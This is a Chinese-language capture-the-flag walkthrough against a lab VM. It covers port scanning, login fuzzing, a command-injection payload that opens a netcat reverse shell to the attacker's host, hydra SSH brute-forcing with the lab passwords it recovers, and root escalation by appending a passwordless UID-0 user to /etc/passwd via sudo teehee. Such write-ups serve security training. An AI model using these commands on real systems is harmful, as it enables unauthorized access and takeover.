实验环境
本次只存在一个flag
渗透过程
0x01 信息搜集
由于不知道靶机IP地址,进行D段扫描,获得靶机IP地址:
masscan 192.168.1.0/24 --ping --rate 1000
测试得知ip为192.168.1.58
,进行端口扫描:
sudo masscan 192.168.1.58 -p1-65535 --rate 1000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-07-15 08:50:30 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 192.168.1.58
Discovered open port 22/tcp on 192.168.1.58
使用nmap进行详细扫描:
直接访问web服务,是一个登录页面:
尝试进行指纹识别:
➜ ~ whatweb http://192.168.1.58
http://192.168.1.58 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.15.10], IP[192.168.1.58], PasswordField[password], Title[System Tools], nginx[1.15.10]
0x02 开打
针对用户名和密码部分进行fuzz测试,得到用户名和密码:
使用admin/happy
进行登录,发现一个命令执行网页:
进行抓包,发现可以执行任意代码:
构造payload:
radio=nc 192.168.1.17 4444 -e /bin/bash&submit=Run
进行反弹shell,成功:
进行用户及目录查看,一共存在三个用户:charles、jim、sam;只有jim
用户中存在可用信息,获得一个密码本:
使用 hydra进行爆破:
hydra -L user.txt -P old-password.txt ssh://192.168.1.58
成功获取用户密码:
login: jim password: jibril04
查看jim目录下的mbox文件:
这是一封root用户发的邮件。
在/var/mail
文件夹中,找到一封邮件:
得到Charles用户密码:^xHhA&hvim0y
登录该用户,发现可以免密码运行/usr/bin/teehee
,
查看teehee
的手册:
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE belo
--help display this help and exit
--version output version information and exit
可以使用-a
将信息附加到给定的文件,使用此命令添加一个新用户:
echo "chalan630::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 字段解析
# 如:admin:x:0:0::/home/admin:/bin/bash
# [用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
切换用户,获得flag: